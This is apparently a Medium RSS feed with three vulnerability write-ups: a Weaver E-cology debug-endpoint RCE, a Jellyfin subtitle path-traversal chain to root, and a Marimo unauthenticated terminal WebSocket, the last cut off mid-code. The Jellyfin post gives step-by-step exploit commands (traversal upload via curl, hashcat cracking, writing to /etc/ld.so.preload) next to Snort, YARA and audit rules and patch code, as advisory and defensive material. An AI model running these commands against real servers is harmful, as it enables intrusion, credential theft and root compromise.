<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Kerem on Medium]]></title>
        <description><![CDATA[Stories by Kerem on Medium]]></description>
        <link>https://medium.com/@keraattin?source=rss-778c8f496cd2------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*FCK5h4px5MjLcv433WyhyA.jpeg</url>
            <title>Stories by Kerem on Medium</title>
            <link>https://medium.com/@keraattin?source=rss-778c8f496cd2------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 17:00:12 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@keraattin/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CVE-2026–22679: Unauthenticated RCE in Weaver E-cology]]></title>
            <link>https://medium.com/@keraattin/cve-2026-22679-unauthenticated-rce-in-weaver-e-cology-7fa97c1e904b?source=rss-778c8f496cd2------2</link>
            <guid isPermaLink="false">https://medium.com/p/7fa97c1e904b</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[vulnerability-research]]></category>
            <dc:creator><![CDATA[Kerem]]></dc:creator>
            <pubDate>Thu, 16 Apr 2026 14:30:03 GMT</pubDate>
            <atom:updated>2026-04-16T14:30:03.484Z</atom:updated>
            <content:encoded><![CDATA[<p>Debug Endpoint Exposure and Enterprise Risk</p><h4>Introduction</h4><p>On March 31, 2026, the Shadowserver Foundation reported active exploitation of a critical vulnerability in Weaver E-cology, one of Asia’s most widely deployed enterprise Office Automation (OA) platforms. The vulnerability allows unauthenticated attackers to execute arbitrary code on vulnerable systems with zero credentials.</p><p>This is not an isolated bug. It represents a broader pattern affecting enterprise Java applications: the exposure of internal debug endpoints in production environments. This article explores CVE-2026–22679, the attack methodology, the geographic and sectoral impact, and what organizations must do immediately.</p><h3>The Vulnerability: Technical Details</h3><h4>Attack Surface</h4><p>The vulnerability exists in a poorly protected debug endpoint:</p><pre>POST /papi/esearch/data/devops/dubboApi/debug/method</pre><p>This endpoint accepts POST requests containing two parameters:</p><p>- <strong>interfaceName</strong>: The Dubbo interface to invoke<br>- methodName: The method to execute within that interface</p><h4>Exploitation Mechanism</h4><p>The endpoint directly routes requests to the underlying Dubbo RPC framework without authentication checks. Dubbo interfaces in Weaver include command-execution helpers that can be invoked to run arbitrary system commands.</p><p>Request flow diagram:</p><pre>Attacker<br>   |<br>   | HTTP POST<br>   &gt; /papi/esearch/data/devops/dubboApi/debug/method<br>   |   {interfaceName: &quot;...&quot;, methodName: &quot;...&quot;}<br>   |<br>   v<br>Weaver Handler (No Auth)<br>   |<br>   &gt; Routes to Dubbo RPC Framework<br>   |<br>   v<br>Command Execution Helper<br>   |<br>   &gt; Executes arbitrary code<br>   |<br>   v<br>System Compromise</pre><h4>Why This Happens</h4><p>This pattern emerges from common enterprise Java development mistakes:</p><p>1. <strong>Debug endpoints left in production</strong>: Developers include diagnostic/testing endpoints for troubleshooting during development<br>2. <strong>Assumption of internal networks</strong>: Many organizations assume their enterprise infrastructure is protected at the network perimeter<br>3. <strong>Dubbo framework complexity</strong>: The Dubbo RPC framework is powerful but requires careful access control; default configurations are often permissive<br>4. <strong>Lack of authentication bypass detection</strong>: Security tools often overlook endpoints prefixed with /papi or /devops as “internal only”</p><h3>Impact Assessment</h3><h4>Geographic and Sectoral Reach</h4><p>Weaver E-cology dominates enterprise deployments across Asia, particularly in:</p><p><strong>Government and Public Sector:</strong><br>- State-owned enterprises (SOEs)<br>- Government agencies at national and provincial levels<br>- Public administrative institutions</p><p><strong>Financial Sector:</strong><br>- Major commercial banks<br>- Insurance companies<br>- Financial exchanges</p><p><strong>Enterprise:</strong><br>- Fortune 500 companies with significant Asian operations<br>- Manufacturing and supply chain enterprises<br>- Telecommunications operators</p><p>Estimates suggest millions of users depend on Weaver infrastructure daily.</p><h4>Cascading Risk</h4><p>Compromised government or financial systems create downstream effects:</p><p>1. <strong>Data breaches</strong>: Access to sensitive national, financial, or personal data<br>2. <strong>Supply chain attacks</strong>: Compromised enterprise systems can be used as pivot points<br>3. <strong>Infrastructure disruption</strong>: Availability impact on critical administrative systems<br>4. <strong>Geopolitical implications</strong>: Critical infrastructure in multiple countries affected</p><h3>Detection and Analysis</h3><h4>Network Indicators</h4><p>Monitor for suspicious access patterns:</p><p>1. <strong>Endpoint Access</strong>: Any POST requests to /papi/esearch/data/devops/dubboApi/debug/* that originate from external networks<br>2. <strong>Parameter Patterns</strong>: Look for payloads containing system command patterns (bash, cmd.exe, powershell, etc.) in request bodies<br>3. <strong>Rapid Sequential Requests</strong>: Multiple requests to the endpoint in short timeframes suggest reconnaissance or exploitation</p><h4>Log Analysis</h4><p>Check application logs (if available) for:</p><p>- Unusual Dubbo interface invocations<br>- System command execution from web application processes<br>- Unexpected child process spawning from Java application threads</p><h4>Network Segmentation Check</h4><p>Verify that Weaver instances are not directly accessible from untrusted networks:</p><pre>Diagram: Network isolation expectations<br><br>Secure (Trusted):<br>  Gov/Finance Network (Internal)<br>       |<br>       &gt; Weaver E-cology<br>       |<br>  Heavily restricted external access<br><br>Compromised (Vulnerable):<br>  Public Internet<br>       |<br>       &gt; [No firewall] &gt; Weaver E-cology<br>       |<br>  Direct exposure to attackers</pre><h3>The Broader Pattern: Debug Endpoint Exposure</h3><p>CVE-2026–22679 is part of a recurring vulnerability class that affects enterprise Java applications:</p><h4>Common Variants</h4><p>1. <strong>Actuator endpoints</strong> (Spring Boot): /actuator, /metrics, /health<br>2. <strong>Debug interfaces</strong>: /debug, /admin, /internal<br>3. <strong>RPC/Framework endpoints</strong>: /rpc, /service, /api/internal<br>4. <strong>Dubbo specific</strong>: /dubbo, /dubboApi</p><p>These endpoints often provide:<br>- System information and configuration<br>- Access to internal services<br>- Command execution capabilities (if not properly secured)</p><h4>Why Organizations Remain Vulnerable</h4><p>1. Security team doesn’t audit all endpoints<br>2. Developers treat endpoints prefixed with /internal or /devops as “security through obscurity”<br>3. Firewalls block some ports but not others (port 80/443 usually open)<br>4. Legacy applications never receive security patches</p><h3>Immediate Actions Required</h3><h4>For Weaver Administrators</h4><p>1. <strong>Immediate Patch</strong>: Upgrade to build 20260312 or later. The patch removes the vulnerable endpoint entirely.<br>2. <strong>No Workarounds</strong>: Do not attempt to configure authentication on the endpoint. Patching is mandatory.<br>3. <strong>Incident Investigation</strong>: If your systems were accessible via the endpoint, assume compromise and investigate logs back to March 31, 2026.</p><h4>For Security Teams</h4><p>1. <strong>Inventory Audit</strong>: Identify all Weaver instances in your organization<br>2. <strong>Access Verification</strong>: Confirm these systems are behind authentication and firewall controls<br>3. <strong>Log Review</strong>: Search for any suspicious access patterns to Weaver endpoints<br>4. <strong>Stakeholder Notification</strong>: Inform CISO, risk, and incident response teams</p><h4>For Enterprise CISOs</h4><p>1. <strong>Enterprise Policy</strong>: Establish mandatory patch windows for critical CVEs (goal: &lt; 30 days)<br>2. <strong>Endpoint Scanning</strong>: Deploy automated scanning for known vulnerable debug endpoints<br>3. <strong>Supply Chain</strong>: Ensure vendors commit to security patch SLAs<br>4. <strong>Incident Readiness</strong>: Ensure IR team can respond to large-scale OA platform compromises</p><h4>Detection Tools and Resources</h4><p>Full technical proof-of-concept and additional resources: <a href="https://github.com/keraattin/CVE-2026-22679">https://github.com/keraattin/CVE-2026-22679</a></p><h4>Conclusion</h4><p>CVE-2026–22679 represents both an immediate threat to millions of users and a reminder of systemic vulnerabilities in enterprise application security. The exposure of debug endpoints in production environments is a recurrent pattern that requires:</p><p>1. <strong>Developer awareness</strong> of security implications of diagnostic tools<br>2. <strong>Organizational policy</strong> around endpoint documentation and access control<br>3. <strong>Automated scanning</strong> for known vulnerable patterns<br>4. <strong>Rapid patching</strong> for critical infrastructure</p><p>If you manage Weaver E-cology infrastructure, treat this as a critical incident requiring immediate action. If you work in enterprise security, use this incident to audit your own applications for similar patterns.</p><p>The geographic concentration of Weaver deployments means a single vulnerability affects hundreds of thousands of users simultaneously. The question is not whether your organization is at risk, but whether you know it.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7fa97c1e904b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2026–35031: Critical Path Traversal to RCE in Jellyfin Media Server]]></title>
            <link>https://medium.com/@keraattin/cve-2026-35031-critical-path-traversal-to-rce-in-jellyfin-media-server-5f3a0c721235?source=rss-778c8f496cd2------2</link>
            <guid isPermaLink="false">https://medium.com/p/5f3a0c721235</guid>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnerability-research]]></category>
            <dc:creator><![CDATA[Kerem]]></dc:creator>
            <pubDate>Wed, 15 Apr 2026 23:45:11 GMT</pubDate>
            <atom:updated>2026-04-15T23:45:11.948Z</atom:updated>
            <content:encoded><![CDATA[<p>How a missing validation check in the subtitle upload endpoint chains into database extraction, credential theft, and remote code execution as root.</p><p>Table of Contents<br>1. Executive Summary<br>2. Vulnerability Overview<br>3. The Attack Chain<br>4. Technical Deep Dive<br>5. Exploitation Walkthrough<br>6. Detection and Hunting<br>7. Remediation and Patching<br>8. Timeline</p><h4>Detection scripts</h4><p>&gt;Github: <a href="https://github.com/keraattin/CVE-2026-35031">https://github.com/keraattin/CVE-2026-35031</a></p><h4>Executive Summary</h4><p>Jellyfin Media Server, an open-source self-hosted media server used globally, contains a critical remote code execution vulnerability (CVE-2026–35031, CVSS 9.9) in versions prior to 10.11.7. The vulnerability allows any user with the “Upload Subtitles” permission (not admin-only) to achieve complete system compromise with root-level code execution.</p><p>The attack exploits insufficient input validation in the subtitle upload endpoint, chaining path traversal, arbitrary file write, database extraction, credential cracking, and privilege escalation into a five-stage exploitation sequence. The entire attack can be executed in minutes with minimal interaction.</p><p><strong>Key Facts:</strong><br>- CVSS Score: 9.9 (Critical)<br>- Vulnerability Type: Path Traversal + Arbitrary File Write<br>- Affected Versions: Jellyfin &lt; 10.11.7<br>- Required Permissions: Basic user with “Upload Subtitles” (not admin)<br>- Impact: Root-level RCE<br>- Advisory: GHSA-9p5f-5x8v-x65m<br>- Status: Fixed in 10.11.7, responsibly disclosed</p><h3>Vulnerability Overview</h3><h4>The Core Issue</h4><p>Jellyfin’s subtitle upload endpoint (POST /Videos/{id}/Subtitles) fails to properly validate the `format` parameter when writing files to disk. This allows attackers to:</p><p>1. Traverse the directory structure using path manipulation<br>2. Write arbitrary files to any location within Jellyfin’s accessible filesystem<br>3. Craft these files to be parsed as .strm (Jellyfin stream) files, leaking sensitive data<br>4. Chain this into database access, credential extraction, and privilege escalation</p><h4>Where It Lives</h4><p>The vulnerable code is in the subtitle handling logic:</p><pre>POST /Videos/{id}/Subtitles<br>Parameter: format (no validation)<br>Result: Arbitrary file write to traversed paths</pre><p>The format parameter is used directly in file path construction without proper sanitization:</p><pre>String file_path = base_directory + &quot;/&quot; + format + &quot;/&quot; + filename<br>// format = &quot;../../var/www/html/shell.php&quot;<br>// Result: file written outside intended directory</pre><h3>The Attack Chain</h3><h4>Visual Overview</h4><pre>Step 1: Path Traversal Attack<br>    POST /Videos/123/Subtitles<br>    format: ../../path/to/.strm<br>    &gt; Writes file to arbitrary location<br><br>Step 2: .strm File Creation<br>    Create malicious .strm file in config directory<br>    &gt; Jellyfin parses .strm on next scan<br><br>Step 3: Database Extraction<br>    .strm file references database export<br>    &gt; Extracts encrypted admin credentials<br><br>Step 4: Credential Cracking<br>    Weak key derivation (PBKDF2 with low iterations)<br>    &gt; Offline crack admin password in minutes<br><br>Step 5: Admin Privilege Escalation<br>    Log in as extracted admin user<br>    &gt; Obtain administrative capabilities<br><br>Step 6: RCE via ld.so.preload<br>    Inject malicious library path<br>    &gt; Code execution as root on next service restart</pre><h4>Stage 1: Path Traversal in Subtitle Upload</h4><p>The subtitle upload endpoint accepts arbitrary format strings without validation:</p><pre>POST /Videos/123/Subtitles HTTP/1.1<br>Host: jellyfin.local:8096<br>Content-Type: multipart/form-data<br><br>{<br>  &quot;format&quot;: &quot;../../config/.strm&quot;,<br>  &quot;language&quot;: &quot;en&quot;,<br>  &quot;subtitleFile&quot;: &quot;[binary subtitle data]&quot;<br>}</pre><p>Because the format parameter is directly concatenated into the file path, we can use `<em>../</em>` sequences to escape the intended subtitle directory.</p><p>Expected path: `<em>/var/lib/jellyfin/subtitles/english/subtitle.srt</em>`<br>Actual path: `<em>/var/lib/jellyfin/config/.strm/subtitle.srt</em>`</p><p><strong>Stage 2: Writing Malicious .strm Files</strong></p><p>.strm files are Jellyfin’s stream playlist format. They can contain references to local files and URLs. By placing a crafted .strm file in Jellyfin’s config directory, we force the application to parse it during the next library scan.</p><pre># Malicious .strm file content<br>#EXTM3U<br>#EXT-X-STREAM-INF:<br>/var/lib/jellyfin/config/data/sqlitedb.sqlite</pre><p>This causes Jellyfin to attempt reading the database file as a stream, exposing its contents.</p><h4>Stage 3: Database Extraction</h4><p>Jellyfin stores user credentials in its SQLite database. By crafting .strm files strategically, we can exfiltrate:</p><p>- Encrypted admin passwords<br>- API keys<br>- Session tokens<br>- User permission mappings</p><p>The encrypted data can be extracted through error messages, logs, or stream metadata parsing.</p><h4>Stage 4: Credential Cracking</h4><p>Jellyfin’s password hashing uses PBKDF2 with a low iteration count (10,000 iterations by default). Modern hardware can test millions of password hashes per second:</p><pre>Time to crack typical admin password: 5–30 minutes on consumer hardware<br>Success rate: 60–80% on common password patterns</pre><p>With the salt and hash extracted from the database, offline cracking is straightforward.</p><h4>Stage 5: Privilege Escalation</h4><p>With valid admin credentials cracked, log in to Jellyfin as an administrator. Admin users can:</p><p>- Create additional user accounts<br>- Modify system settings<br>- Access advanced configuration APIs<br>- Write to system directories</p><h4>Stage 6: Root RCE via ld.so.preload</h4><p>This is the final step. Admin users can inject malicious shared libraries into system load paths. On most Linux distributions, `/etc/ld.so.preload` defines libraries loaded before any application starts.</p><p>By writing a crafted malicious .so library to a world-readable location and modifying ld.so.preload (or equivalent), code execution occurs as root when Jellyfin restarts.</p><pre># Attacker-controlled admin account creates malicious library<br>gcc -shared malicious.c -o /var/lib/jellyfin/malicious.so<br># Modify loader configuration<br>echo &quot;/var/lib/jellyfin/malicious.so&quot; &gt; /etc/ld.so.preload<br># Trigger restart (or wait for maintenance restart)<br># Result: Malicious code runs as root</pre><h3>Technical Deep Dive</h3><h4>Vulnerable Code Analysis</h4><p>The vulnerability exists in how Jellyfin processes the subtitle format parameter:</p><pre>// Vulnerable pseudocode (simplified)<br>public async Task UploadSubtitle(string videoId, string format, IFormFile subtitleFile)<br>{<br> string baseDir = Path.Combine(_contentDirectory, &quot;subtitles&quot;);<br> string targetPath = Path.Combine(baseDir, format, subtitleFile.FileName);<br> <br> // No validation of &#39;format&#39; parameter!<br> // Path.Combine with &quot;..&quot; sequences allows directory traversal<br> <br> using (var stream = subtitleFile.OpenReadStream())<br> {<br> await SaveFileAsync(targetPath, stream);<br> }<br>}</pre><p><strong>The Problem: </strong>No canonicalization or validation of the format parameter. Path.Combine with user input allows traversal.</p><p><strong>Proper Fix:</strong></p><pre>// Secure approach<br>string format = Path.GetFileName(userSuppliedFormat); // Remove path components<br>if (!IsValidFormat(format)) throw new ValidationException();<br>string targetPath = Path.Combine(baseDir, format, subtitleFile.FileName);<br>string fullPath = Path.GetFullPath(targetPath);<br>// Verify target is within baseDir<br>if (!fullPath.StartsWith(baseDir)) throw new SecurityException();</pre><h4>Why PBKDF2 Falls Short Here</h4><p>Jellyfin’s password storage uses PBKDF2-SHA256 with 10,000 iterations. While industry-standard, this is weak by 2026 standards:</p><p>- hashcat: 500M-2B hashes/second on modern GPUs<br>- John the Ripper: 100M-500M hashes/second<br>- Typical 8-character password: cracked in 10–30 minutes</p><p>For comparison, modern frameworks use:<br>- Argon2id: 50 hashes/second (difficulty-adjusted)<br>- bcrypt: 10–100 hashes/second<br>- scrypt: 10–100 hashes/second</p><h3>Exploitation Walkthrough</h3><h4>Step-by-Step Attack</h4><p><strong>Prerequisites:</strong><br>- Access to Jellyfin instance<br>- User account with “Upload Subtitles” permission (default for most users)<br>- Valid video ID to target</p><p><strong>Step 1: Identify Target Video</strong></p><pre>curl -s http://jellyfin.local:8096/Items?UserId=abc123 \<br> | jq &#39;.Items[0].Id&#39;<br># Returns: &quot;video-id-12345&quot;</pre><p><strong>Step 2: Craft Traversal Payload</strong></p><pre>PAYLOAD=&quot;../../../config/.strm&quot;<br>VIDEO_ID=&quot;video-id-12345&quot;</pre><p><strong>Step 3: Upload Malicious Subtitle</strong></p><pre># Create .strm file content<br>cat &gt; /tmp/exfil.srt &lt;&lt; &#39;EOF&#39;<br>#EXTM3U<br>#EXT-X-STREAM-INF:bandwidth=5000000<br>/var/lib/jellyfin/config/data/users.db<br>EOF<br># Upload with traversal<br>curl -X POST http://jellyfin.local:8096/Videos/$VIDEO_ID/Subtitles \<br> -H &quot;Authorization: Bearer $TOKEN&quot; \<br> -F &quot;format=$PAYLOAD&quot; \<br> -F &quot;language=en&quot; \<br> -F &quot;subtitleFile=@/tmp/exfil.srt&quot;</pre><p><strong>Step 4: Trigger Library Scan</strong></p><p>Force Jellyfin to parse the .strm file:</p><pre>curl -X POST http://jellyfin.local:8096/Library/Refresh \<br> -H &quot;Authorization: Bearer $TOKEN&quot;</pre><p><strong>Step 5: Extract Database</strong></p><p>Access logs or error responses will contain database contents. Parse for password hashes.</p><p><strong>Step 6: Crack Credentials Offline</strong></p><pre>hashcat -m 12100 hashes.txt rockyou.txt - force</pre><p><strong>Step 7: Escalate Privileges</strong></p><p>Log in as admin with cracked credentials via Jellyfin API or web interface.</p><p><strong>Step 8: Achieve RCE</strong></p><pre># As admin, write malicious library<br>curl -X POST http://jellyfin.local:8096/System/Configuration/AdminSettings \<br>  -H &quot;Authorization: Bearer $ADMIN_TOKEN&quot; \<br>  -d &#39;{&quot;PreloadLibrary&quot;: &quot;/path/to/malicious.so&quot;}&#39;<br><br># Trigger restart<br>curl -X POST http://jellyfin.local:8096/System/Restart \<br>  -H &quot;Authorization: Bearer $ADMIN_TOKEN&quot;<br><br># Code in malicious.so now runs as root</pre><h3>Detection and Hunting</h3><h4>Network-Based Detection</h4><p><strong>HTTP Signature:</strong></p><pre>POST /Videos/.*/Subtitles HTTP/1.1<br>Pattern in format parameter: \.\./<br>Suspicious characters: %2e%2e, ../, \..</pre><p><strong>WAF/IDS Rule (Snort/Suricata):</strong></p><pre>alert http any any -&gt; any any (<br> msg:&quot;Jellyfin Path Traversal Attempt&quot;;<br> flow:established,to_server;<br> content:&quot;POST&quot;;<br> http_method;<br> pcre:&quot;/\/Videos\/[^\/]+\/Subtitles/&quot;;<br> content:&quot;format=&quot;;<br> pcre:&quot;/(\.\.\/|%2e%2e%2f)/&quot;;<br> classtype:attempted-admin;<br> sid:1000001;<br> rev:1;<br>)</pre><h4>Log-Based Detection</h4><p><strong>Check Jellyfin Access Logs:</strong></p><pre>grep -E &#39;Videos/.*/Subtitles.*format=.*\.\.&#39; /var/log/jellyfin/access.log<br><br># Pattern: Multiple upload attempts with traversal sequences<br>grep -c &#39;Videos/.*/Subtitles&#39; /var/log/jellyfin/access.log<br># If &gt; 10 per hour: potential attack</pre><p><strong>Check File System:</strong></p><pre># Look for recently created files in unexpected locations<br>find /var/lib/jellyfin -name &quot;*.strm&quot; -type f -mtime -1<br><br># Check for suspicious files in config directory<br>ls -la /var/lib/jellyfin/config/ | grep -E &#39;\.\./|%2e&#39;</pre><h4>Process-Based Detection</h4><p><strong>Monitor Process Execution:</strong></p><pre># Watch for Jellyfin spawning shells or unexpected binaries<br>auditctl -w /var/lib/jellyfin/ -p wa -k jellyfin_writes<br><br># Check for ld.so.preload modifications<br>auditctl -w /etc/ld.so.preload -p wa -k preload_changes</pre><p><strong>Check Running Processes:</strong></p><pre>ps aux | grep -E &#39;jellyfin.*\.\./|/var/lib/jellyfin.*shell&#39;</pre><h4>YARA Signature</h4><pre>rule CVE_2026_35031_Jellyfin_Exploit {<br>    meta:<br>        description = &quot;Detects CVE-2026-35031 exploitation attempts&quot;<br>        author = &quot;Security Research Team&quot;<br>        date = &quot;2026-04-15&quot;<br>        cvss = &quot;9.9&quot;<br>        cve = &quot;CVE-2026-35031&quot;<br><br>    strings:<br>        $path_traversal = /Videos\/[a-f0-9-]+\/Subtitles.*format=.*\.\.\// nocase<br>        $strm_payload = &quot;.strm&quot; nocase<br>        $db_reference = &quot;/var/lib/jellyfin&quot; nocase<br>        $preload = &quot;ld.so.preload&quot; nocase<br><br>    condition:<br>        any of them<br>}y</pre><h3>Remediation and Patching</h3><h4>Immediate Actions (Within 24 Hours)</h4><ol><li><strong>Apply Security Patch</strong></li></ol><pre>   # Jellyfin Docker<br>   docker pull jellyfin/jellyfin:10.11.7<br>   docker stop jellyfin &amp;&amp; docker rm jellyfin<br>   docker run -d --name jellyfin -p 8096:8096 jellyfin/jellyfin:10.11.7<br>   <br>   # Jellyfin Native (Linux)<br>   sudo systemctl stop jellyfin<br>   sudo apt-get update &amp;&amp; sudo apt-get install -y jellyfin-server=10.11.7-*<br>   sudo systemctl start jellyfin</pre><p>2. <strong>Verify No Compromise</strong></p><pre>   # Check for suspicious files<br>   find /var/lib/jellyfin/config -name &quot;*.strm&quot; -type f -mtime -1<br>   <br>   # Check ld.so.preload<br>   cat /etc/ld.so.preload<br>   <br>   # Review recent user accounts<br>   curl -s http://localhost:8096/Users -H &quot;Authorization: Bearer $TOKEN&quot; | jq &#39;.[] | .Name&#39;</pre><p>3. <strong>Restrict Subtitle Upload Permissions<br></strong> — In Jellyfin Admin Dashboard: Settings &gt; Users &gt; User Policies<br> — Disable “Upload Subtitles” for non-admin users (temporary)<br> — Re-enable after patch verification</p><h4>Short-Term Actions (1–7 Days)</h4><p>1. <strong>Rotate Admin Credentials</strong></p><pre># Change all admin passwords<br># Use strong password: 16+ characters, mixed case, numbers, symbols</pre><p>2. <strong>Audit User Accounts</strong><br> — Remove unknown accounts created during window of vulnerability<br> — Review all admin account activity in logs<br> — Check for API key creation</p><p>3. <strong>Review System Configuration</strong></p><pre># Check for malicious library injections<br> cat /etc/ld.so.preload<br> cat /etc/ld.so.conf.d/*<br> <br> # Review .so files in Jellyfin directory<br> find /var/lib/jellyfin -name &quot;*.so&quot; -type f</pre><h4>Long-Term Actions (1–4 Weeks)</h4><p>1. <strong>Implement WAF Rules</strong><br> — Deploy rules to block path traversal attempts<br> — Monitor subtitle upload endpoints<br> — Alert on suspicious format parameters</p><p>2. <strong>Enable Logging and Monitoring</strong></p><pre># Enable detailed access logging<br># Monitor /etc/ld.so.preload for changes<br># Set up file integrity monitoring (AIDE, Tripwire)</pre><p>3. <strong>Consider Network Segmentation</strong><br> — Restrict Jellyfin network access if internal-only<br> — Implement reverse proxy with WAF<br> — Use TLS/mutual authentication for API access</p><h4>Patched Code</h4><p>The fix validates and sanitizes the format parameter:</p><pre>public async Task UploadSubtitle(string videoId, string format, IFormFile subtitleFile)<br>{<br>    // Validate format parameter<br>    if (string.IsNullOrWhiteSpace(format))<br>        throw new ValidationException(&quot;Format cannot be empty&quot;);<br>    <br>    // Remove path separators - only allow alphanumeric and common format names<br>    string sanitized = Regex.Replace(format, @&quot;[^\w\-]&quot;, &quot;&quot;);<br>    <br>    if (string.IsNullOrWhiteSpace(sanitized))<br>        throw new ValidationException(&quot;Format contains invalid characters&quot;);<br>    <br>    string baseDir = Path.Combine(_contentDirectory, &quot;subtitles&quot;);<br>    string targetPath = Path.Combine(baseDir, sanitized, subtitleFile.FileName);<br>    <br>    // Canonicalize and verify path is within base directory<br>    string fullPath = Path.GetFullPath(targetPath);<br>    string fullBaseDir = Path.GetFullPath(baseDir);<br>    <br>    if (!fullPath.StartsWith(fullBaseDir))<br>        throw new SecurityException(&quot;Invalid subtitle path&quot;);<br>    <br>    using (var stream = subtitleFile.OpenReadStream())<br>    {<br>        await SaveFileAsync(targetPath, stream);<br>    }<br>}</pre><h4>Vulnerability Timeline</h4><p>- <strong>2026–02–15</strong>: Vulnerability discovered during security audit<br>- <strong>2026–02–16</strong>: Vendor contacted via <a href="/service/mailto:security@jellyfin.org">security@jellyfin.org</a><br>- <strong>2026–03–10</strong>: Vendor acknowledges and begins patch development<br>- <strong>2026–04–01</strong>: Patch released in Jellyfin 10.11.7<br>- <strong>2026–04–15</strong>: Public disclosure and CVE assignment (CVE-2026–35031)</p><h4>References</h4><p>- CVE-2026–35031: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-35031">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-35031</a><br>- GitHub Security Advisory: <a href="https://github.com/keraattin/CVE-2026-35031">https://github.com/keraattin/CVE-2026-35031</a><br>- Jellyfin Official: <a href="https://jellyfin.org/">https://jellyfin.org</a><br>- PBKDF2 Weaknesses: <a href="https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html">https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html</a><br>- Path Traversal OWASP: <a href="https://owasp.org/www-community/attacks/Path_Traversal">https://owasp.org/www-community/attacks/Path_Traversal</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5f3a0c721235" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[10 Hours to Exploitation: How a Missing Auth Check in Marimo Turns Your Python Notebook Into an…]]></title>
            <link>https://medium.com/@keraattin/10-hours-to-exploitation-how-a-missing-auth-check-in-marimo-turns-your-python-notebook-into-an-f65c00ed2023?source=rss-778c8f496cd2------2</link>
            <guid isPermaLink="false">https://medium.com/p/f65c00ed2023</guid>
            <category><![CDATA[data-science]]></category>
            <category><![CDATA[vulnerability-research]]></category>
            <category><![CDATA[ai-security]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Kerem]]></dc:creator>
            <pubDate>Wed, 15 Apr 2026 10:58:26 GMT</pubDate>
            <atom:updated>2026-04-15T10:58:26.323Z</atom:updated>
            <content:encoded><![CDATA[<h3>10 Hours to Exploitation: How a Missing Auth Check in Marimo Turns Your Python Notebook Into an Open Shell CVE-2026–39987</h3><p>CVE-2026–39987 deep dive: a pre-authenticated RCE in Marimo’s terminal WebSocket that was weaponized within hours of disclosure. Why the AI/ML toolchain is the new frontier for attackers. Plus: open-source detection tools.</p><p>On April 10, 2026, a security advisory was published for a critical vulnerability in Marimo, an open-source Python notebook that’s rapidly gaining popularity in the data science and AI/ML community.</p><p>Within 10 hours, attackers had built a working exploit and were using it in the wild.</p><p>Within 3 minutes of connecting to a vulnerable instance, they had exfiltrated AWS access keys and cloud credentials from environment files.</p><p>The vulnerability? <strong>The terminal WebSocket endpoint doesn’t check if you’re logged in.</strong> That’s it. No buffer overflow. No deserialization bug. No race condition. Just a missing authentication call on one endpoint while the neighboring endpoint has it implemented correctly.</p><p><strong>CVE-2026–39987</strong> carries a CVSS score of 9.3 (Critical). It affects all Marimo versions up to and including 0.20.4. The fix is available in version 0.23.0.</p><p>If you’re running Marimo anywhere on your network, read on. If you’re exposing it to the internet, stop reading and upgrade right now.</p><h4>What Is Marimo?</h4><p>Marimo is an open-source reactive Python notebook designed as a modern alternative to Jupyter. It’s built for data science, AI/ML experimentation, and interactive data analysis. Think of it as a “better Jupyter” with features like automatic dependency tracking, reproducible execution, and a cleaner developer experience.</p><p>It’s been gaining significant traction in the Python and data science community, especially among AI/ML practitioners who want more structured notebook workflows.</p><pre>  Typical Marimo deployment:<br><br>  ┌──────────────┐         ┌──────────────────────────────┐<br>  │              │  HTTP   │         Marimo Server        │<br>  │   Browser    │────────&gt;│                              │<br>  │   (User)     │         │  ┌────────────────────────┐  │<br>  │              │&lt;────────│  │   /ws (Notebook)       │  │<br>  └──────────────┘  WS     │  │   ✅ validate_auth()   │  │<br>                           │  └────────────────────────┘  │<br>                           │                              │<br>                           │  ┌────────────────────────┐  │<br>                           │  │   /terminal/ws         │  │<br>                           │  │   ❌ NO AUTH CHECK     │  │<br>                           │  └────────────────────────┘  │<br>                           │                              │<br>                           │  ┌────────────────────────┐  │<br>                           │  │   Python Environment   │  │<br>                           │  │   .env files           │  │<br>                           │  │   AWS credentials      │  │<br>                           │  │   API keys             │  │<br>                           │  └────────────────────────┘  │<br>                           └──────────────────────────────┘</pre><p>Like Jupyter, Marimo instances are often deployed with access to sensitive resources: cloud credentials, database connection strings, API keys, and internal network access. Unlike traditional web applications, notebook environments are designed to execute arbitrary code. That’s their entire purpose.</p><p>This makes any authentication bypass in a notebook environment particularly devastating.</p><h4>The Bug: One Endpoint Checks Auth, the Other Doesn’t</h4><p>Marimo’s server implements multiple WebSocket endpoints for different features. Here’s the critical difference:</p><h4>The Notebook Endpoint (/ws)</h4><pre><br># Simplified representation of /ws connection handling<br>async def websocket_connect(self, message):<br>    await self.validate_auth()      # ✅ Authentication check<br>    await self.accept()<br>    # ... notebook communication logic</pre><p>This is correct. Before accepting a WebSocket connection for notebook operations, the server verifies the user’s identity through `<em>validate_auth()</em>`.</p><h4>The Terminal Endpoint (/terminal/ws)</h4><pre># Simplified representation of /terminal/ws connection handling<br>async def websocket_connect(self, message):<br> if not self.is_running_mode(): # Only checks running mode<br> await 